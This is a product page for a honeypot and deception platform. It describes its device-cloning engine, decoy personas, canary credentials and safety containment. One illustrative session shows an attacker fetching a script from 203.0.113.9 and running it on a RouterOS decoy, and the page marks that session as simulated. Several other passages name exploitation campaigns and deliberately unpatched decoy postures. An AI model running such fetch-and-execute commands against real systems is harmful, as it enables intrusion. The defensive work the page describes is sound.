Sense · Deception Fabric
Decoys attackers believe, on both sides of your firewall.
Seventeen personas (routers, firewalls, a camera, a VPN gateway, an MCP server, SAP, web stacks) and the capture engine that built them, which turns a real web-managed device into a high-interaction replica with one command. Outside your firewall, sensors turn first contact into blocklists. Inside it, any touch is a Critical page.
Two sides of the firewall
First contact outside. Tripwires inside.
The same personas serve both jobs; a sensor’s zone decides what a touch means.
zone · external
External sensors
In the DMZ or behind NAT, where the internet can reach them. They meet scanners, credential stuffing and exploitation campaigns before your real systems do, and what they see becomes indicators, blocklist entries and campaign evidence.
first contact → blocklist
zone · internal
Internal sensors
Inside your network, where nobody legitimate has a reason to connect. A touch on an internal-zone sensor pages Critical: it is not background noise, it is someone already inside.
any touch → Critical
cnry_
Canary tokens
Honey credentials and beacon URLs planted where an intruder looks. Stored as a hash only. A trigger pages Critical and never becomes an indicator, so a canary can never end up on anyone’s blocklist.
credentials · beacon URLs
Packages include 2 external and 3 internal sensors, or 5 and 5; more can be added.See the packages.
The persona library so far
17 personas, each with its own doors.
Everything the capture engine and the shared persona engine have produced to date. Each persona says how it was made: captured from a real unit, pinned to captured wire fixtures, or authored on the engine from published behaviour.
Captured device clones
Management interfaces captured from real units and replayed. FortiGate and MikroTik also answer SSH with an emulated FortiOS or RouterOS command line.
FortiGate
60F · 100Fcaptured by the engine
- Management UI (443)
- FortiOS CLI (SSH 22)
- Telnet (off by default)
The real management UI captured and replayed, with a FortiOS command line behind SSH.
MikroTik RouterOS
branch-router · hAP ax2captured by the engine
- WebFig (HTTP 80)
- RouterOS CLI (SSH 22)
- Telnet (off by default)
A WebFig clone and a RouterOS command tree. Every outbound verb is answered, never performed.
Sophos firewall
firewallcaptured by the engine
- Admin console (4444)
Captured admin console on the port the real appliance uses.
Aruba 1930
switchcaptured by the engine
- Web UI (HTTP 80)
Captured switch management UI.
Huawei B320
4G/LTE routercaptured by the engine
- HiLink web UI (HTTP 80)
Captured HiLink interface of a consumer LTE router.
Dahua IP camera
cameracaptured by the engine
- HTTP · MJPEG / snapshot (80)
- RTSP over TCP (554)
Recorded streams played as if live. UDP is never served. Ships in an unpatched auth-bypass posture so exploitation is visible.
UniFi OS console
consolecaptured by the engine
- HTTPS-only TLS door (443)
- WebSocket replay
Its own certificate shape, minted on first start. Wears an unpatched validate-sso posture by default.
Linux command lines
One bounded command evaluator wearing three sets of facts. It answers like a shell; it is never one.
Linux server
bash · x86_64authored on the engine
- SSH (22)
- Telnet (off by default)
A conservative Debian server. Bounded command evaluator, never a real shell.
Linux compute bait
bash · 32 CPUsauthored on the engine
- SSH (22)
- Telnet (off by default)
High-compute bait: 32 CPUs and a synthetic NVIDIA GPU inventory.
Embedded Linux (BusyBox)
BusyBox sh · aarch64authored on the engine
- SSH (22)
- Telnet (off by default)
The shape IoT loader scripts probe for.
Remote-access gateway
The SSL-VPN portal that exploitation campaigns go for first.
Ivanti Connect Secure
remote-access gatewayauthored on the engine
- SSL-VPN portal (HTTPS 443)
Authored from public sources, not captured from an appliance. Ships as its own small image.
AI-agent server
A decoy Model Context Protocol server for the scanners now enumerating them.
MCP server
JSON-RPC 2.0pinned to captured wire fixtures
- Streamable HTTP (80)
- Streamable HTTP (8000)
- Legacy SSE
- TLS (optional)
Wire pinned to the real SDK by 362 captured fixtures. The toolset (5-8 of 24 tools) is chosen per sensor name, so boxes differ.
Enterprise application
An SAP application server answering the path scanners kept asking for.
SAP NetWeaver AS Java
enterprise applicationauthored on the engine
- HTTP (80)
- AS Java (50000)
Answers the CVE-2025-31324 metadata-uploader chain that scanners kept asking our fleet for.
Web-server stacks
Three server stacks, three synthetic sites, and a lure catalogue of 26 cited rows, or a capture of a site you own.
nginx
3 synthetic sitespinned to captured wire fixtures
- HTTP (80)
Header order, ETag and error pages byte-checked against the stock image.
Apache
3 synthetic sitespinned to captured wire fixtures
- HTTP (80)
Header order, ETag and error pages byte-checked against the stock image.
IIS
3 synthetic sitesauthored on the engine
- HTTP (80)
Faithful in HTTP behaviour; its TLS is not SChannel, and we say so.
Internal only
A database decoy for decoy groups inside your network. Any persona can be zoned internal.
SQL Server
internal decoyauthored on the engine
- TDS (1433)
Every login refused with error 18456. Built for decoy groups inside your network.
SSH and Telnet background noise is caught by the Cowrie hive, which runs beside a persona or on the Firewall Appliance. Low-interaction services are not counted as personas.
The capture engine
Point it at a real service. Get a replica an attacker will log in to.
One command, three inputs: address, user, password. The engine drives a real browser through the device’s interface, records what it serves, gates the capture for identifying data, scaffolds the persona and builds the images. FortiGate, Aruba 1930, Sophos, Huawei B320, UniFi OS, the Dahua camera and MikroTik WebFig all came out of it.
> clone-device -Target 10.10.1.1:8080 -User admin -Password ******** -Device acme-router
==> capture login fields detected · menus crawled · responses recorded
==> organise replay bundle written
==> gate public addresses · e-mail · serials checked
==> scaffold persona profile generated
==> build amd64 · arm64 · armv7
# illustrative run · a person reviews the capture before anything is deployed
One command, five stages
Capture → organise → anonymise → scaffold → build.
01
Capture
A real browser logs in, discovers every menu through the accessibility tree and the DOM, clicks through it and records every response. Destructive actions (logout, reboot, delete, save) are skipped.
02
Organise
Responses become a replay bundle keyed by path and query. Several crawls can be merged for coverage, and deep-link route lists reach pages a crawl cannot.
03
Anonymise
A gate fails the build on public addresses, e-mail addresses and serial numbers. A person then rewrites the organisation’s identity (IMEI, MACs, SSIDs) with a rewrite map.
04
Scaffold
A persona profile is generated for the shared engine: identity, session cookie, login flow. A persona is content on the engine, not a fork of it.
05
Build
Container images for amd64, arm64 and armv7, the same artefacts the fleet tooling deploys to a server, a VM or a Wahukeza HW Sensor.
What it captures
Interfaces, streams, servers and protocols.
web UI · SPA or multi-page
Web-managed devices
Single-page apps and classic multi-page interfaces alike. Login fields are detected automatically, so a device nobody has written a config for still works.
RTSP · MJPEG · WebSocket
Streams
A camera’s own RTP packets and snapshots, and every WebSocket a modern UI renders from, recorded and replayed on their own timings. That is how the Dahua clone streams.
byte fixtures
Server stacks
Stock nginx and Apache captured on the wire; the replica is tested byte for byte against those fixtures. A public site you own can be captured as a shadow site.
362 fixtures
Protocol servers
The MCP persona’s JSON-RPC wire is pinned by 362 fixtures captured from the real SDK. Protocol work is fixtures and tests, not guesswork.
Straight answer
What a clone is, and what it is not.
- It reproduces the surface an attacker explores. Every page, menu and read the crawl reached, behind the device’s own login wall.
- Write actions change nothing. A save gets a plausible confirmation and the replica stays exactly as it was.
- Bespoke encrypted logins need protocol work. A challenge or encrypted login channel (RouterOS WebFig’s jsproxy is the example) is implemented per device, not replayed.
- A real capture carries a real organisation’s data. That is why the anonymisation gate fails the build and a person reviews and rewrites identity before deployment.
Clone your estate
Tell us what your estate runs. We can clone it.
A decoy that looks like your own firewall, camera or intranet application is one an intruder inside your network has every reason to try. Bring the device or the service; we capture it with you and add it to your fabric.
Talk to us about a clonePersonas follow demand
We build what attackers are already asking for.
Two of the newest personas exist because our own fleet measured the requests it could not answer.
/mcp · /sse · /api/mcp · 30 days
1,058
distinct sources probing for MCP servers
Rising from 8 to 338 a week. The decoy MCP server answers them with a wire pinned to the real SDK and a toolset that differs between boxes, so a fleet of decoys does not share one fingerprint.
/developmentserver/metadatauploader · 60 days
391
sources asking for the SAP uploader path
Every one got a 404, which the public detection reads as “not vulnerable, move on”. The SAP NetWeaver persona answers the CVE-2025-31324 chain instead, so the conversation reaches the part worth recording.
Deliberately unpatched. The Dahua camera ships with its authentication bypass open and the UniFi console with its validate-sso traversal, so exploitation is visible rather than refused at the door. Each posture is a deploy-time switch.
Streams that look live. A camera’s own RTP packets are looped with only sequence, timestamp and SSRC rewritten; a WebSocket feed is replayed on the timings it arrived with.
TLS doors for HTTPS-only devices. A certificate of the shape the real device presents, minted on first start and kept; plaintext on the port is answered the way the device answers it, and recorded.
Internal deception
Decoys that agree with each other.
An intruder who finds one decoy checks it against the next. A decoy group is a set of internal decoys built to pass that check.
coherence sheet
One story, many boxes
Every member reads the group’s coherence sheet (each member’s name, address, role and protocols, and how they depend on each other), so the intranet app, the database and the backup server tell the same story.
planted credentials
Group-owned credentials
The app’s configuration names the database and the credential to reach it, exactly where an intruder looks. The credential is a canary: replayed at any internal sensor, it pages Critical and is joined to the place it was planted.
A + PTR
Internal DNS
Members get forward and reverse records in your internal DNS through PowerDNS or RFC 2136, so they resolve like real hosts.
pivot
Pivot view
When one source touches two members, the platform shows the path it took between them: lateral movement on a map, not two separate alerts.
EDR-DECOY-CONTACT
Decoy contact on endpoints
With Endpoint Intelligence, any managed host that connects to a decoy address is attributed by name; the decoy tells you who, not just that.
sql-server · 1433
A database to find
The SQL Server persona refuses every login with error 18456, exactly as a real instance with the wrong password does, and records every attempt.
Exploit watch
Sixteen named campaigns, and whether your fabric can see each one.
A closed, cited catalogue of exploitation campaigns: PHP-CGI, Langflow, GoAhead, two Ivanti chains, Pulse, SAP CVE-2025-31324, the Dahua bypass, MikroTik WebFig jsproxy, Metabase, GitLab, HTTP2Shell and more. For your tenant each reads covered (a persona you run answers it), recon-only (its fingerprinting is watched whatever you run) or not coverable. When a rule changes, history is back-filled, so last month’s sessions gain this month’s tags.
| campaign | persona | coverage |
|---|---|---|
| SAP NetWeaver metadata uploaderCVE-2025-31324 | sap-netweaver | covered |
| Ivanti Connect Secure auth bypass + command injection2024 pair | ivanti-ics | covered |
| Dahua IP camera authentication bypass | dahua-ipc | covered |
| RouterOS WebFig jsproxy file read | mikrotik | covered |
| Langflow auto-login superuser token | - | recon-only |
| HTTP2Shell (compressed request body) | - | not coverable |
Novelty detection
The request you have not seen before.
Each persona learns the shape of the requests it normally gets. A new shape goes to a review queue; a new shape arriving fast (velocity) is what pages. A single novel request never does. On our showcase fabric, 33,755 sessions reduced to 63 rows worth a person’s time. An optional, bounded AI review can triage the queue. Notifications are off until you turn them on.
33,755 sessions → 63 review rows
Attack wall
One screen for the SOC wall.
A full-screen live attack map and event ticker built for the screen on the SOC wall: what your sensors are being hit with, from where, right now, alongside security-news headlines from the platform’s news wire.
Why it is safe to run
A command tree, not a shell.
The objection every buyer raises: how do I know a compromised sensor is not a foothold, and a poisoned one is not turned against my own estate? The answer is containment. Attacker-facing code cannot execute anything or dial anywhere; the only connection a sensor makes is to your platform, for ingest, heartbeat and configuration.
[admin@branch-router] > /tool fetch url=http://203.0.113.9/x.sh
status: finished
downloaded: 4KiB
[admin@branch-router] > /system script run x
# classified: Execution.RunScript · result: simulated · the sensor fetched nothing, nothing ran
Cannot execute or dial out
Static tests forbid exec, subprocess, eval and any outbound client in the transports, the login wall, the web, lure and TDS modules and the Dahua, MikroTik, Ivanti, MCP and SAP modules. The test suite fails on the first one.
Per-engine security suites
The RouterOS, FortiOS and Linux command engines each carry their own security suite on top of the shared tests.
Answered, never performed
Every outbound verb (ping, fetch, wget, curl, tool) is answered as the device would answer and marked simulated. A URL an attacker fetches is recorded; the platform retrieves it later into quarantine. The sensor never does.
No reflector
UDP is never served. A camera’s RTSP runs over TCP only, so a sensor can never be used to spray datagrams at a third party.
Inert by default
Every attacker-supplied string is rendered inert before it reaches a template, a log or a wire. Upload lures store bodies inert.
One SSH persona per box
A router that answers SSH with a Debian shell is a fidelity failure. A box wears one SSH persona; the RouterOS persona retires Cowrie on that box by construction.
What a session becomes
Every session is a fingerprint, a campaign candidate and a ledger entry.
The sensor emits a behaviour category and the commands on the wire; the platform tokenises, clusters and maps to MITRE ATT&CK, so Cowrie sessions gain the same fingerprints as the device personas.
- Command fingerprints per session, and command playbooks that group sessions by attacker tooling with a timing and automation read
- Passive fingerprinting: ordered header lists, HTTP version, JA4H, and IPv4 SYN options recorded as a fingerprint field
- HTTP verb fidelity: unknown verbs are answered the way the real server answers them
- Forwarded-for headers recorded as the claimed origin, never turned into an indicator
- Behavioural clustering of sessions into campaigns; analyst-curated actors; mapping to MITRE ATT&CK
- Captured credentials and payload URLs, retrieved by the platform into quarantine for static triage and detonation
- A first-party ledger recording which indicators each sensor produced and whether they were new to the platform
Fleet management
The persona a box wears is desired state: signed, pinned, self-reverting.
Every kit speaks the same sensor protocol: batched events with sensor-supplied ids, a heartbeat and an exposure block. Two keys per box (ingest and config), so a stolen sensor key cannot read fleet topology.
Desired state, never commands
The platform stores versioned config documents; the agent polls, renders, safety-checks, stages, applies, arms a revert and reports back.
Signed and pinned
Configuration is Ed25519-signed and images are digest-pinned. An agent with a pinned public key is fail-closed.
Health-confirm
A persona change probes its own listeners and reverts itself if they do not answer. No operator commit needed.
Rotation policies
Scoped to tenant, asset group or device and evaluated hourly. Gateway, MCP and SAP boxes are pinned and never rotated.
NAT and dynamic addressing
A sensor behind NAT declares its port map once; every event is stamped with the address and external port in force at the time. A changed public address is derived from the sensor’s own requests and DNS is re-asserted.
Heartbeat & liveness
Every sensor beats on an interval and online is computed on read, so a silent sensor is a visible one.
Mass deploy from a CSV
One spreadsheet of boxes, personas assigned and the router port-forward table printed at the end. A dry run plans first.
Update only what is behind
Fleet updates compare each box with the release and touch only the ones behind, with heartbeat proof that each came back. Run today across a fleet of around 33 boxes.
Hardware & kits
Run it on our hardware or yours.
Sensors observe; they do not block. Blocking happens at your edge: your firewalls and DNS consuming the blocklist, or the Wahukeza Firewall Appliance enforcing it.
Wahukeza HW Sensor
A Raspberry Pi-based sensor kit. Wears a persona from the library, selected at deploy time; the 32-bit path covers older boards.
Raspberry Pi
Wahukeza Firewall Appliance
A NanoPi R4S at your edge. Its agent enforces the platform’s blocklist with nftables, runs a Cowrie hive for SSH and Telnet, and reports blocks as sightings and heartbeats.
NanoPi R4S · nftables
Your own servers
Any amd64 or arm64 Docker host or VM runs the same images. The gateway, MCP and SAP personas also ship as small images of their own.
amd64 · arm64
MikroTik container
The RouterOS command-line persona as a container image, running on a MikroTik router or beside it.
RouterOS
Put a sensor in front of your network, and one behind it.
A pilot pairs an external sensor with an internal decoy. You will see what is knocking on the outside, and whether anything is moving on the inside.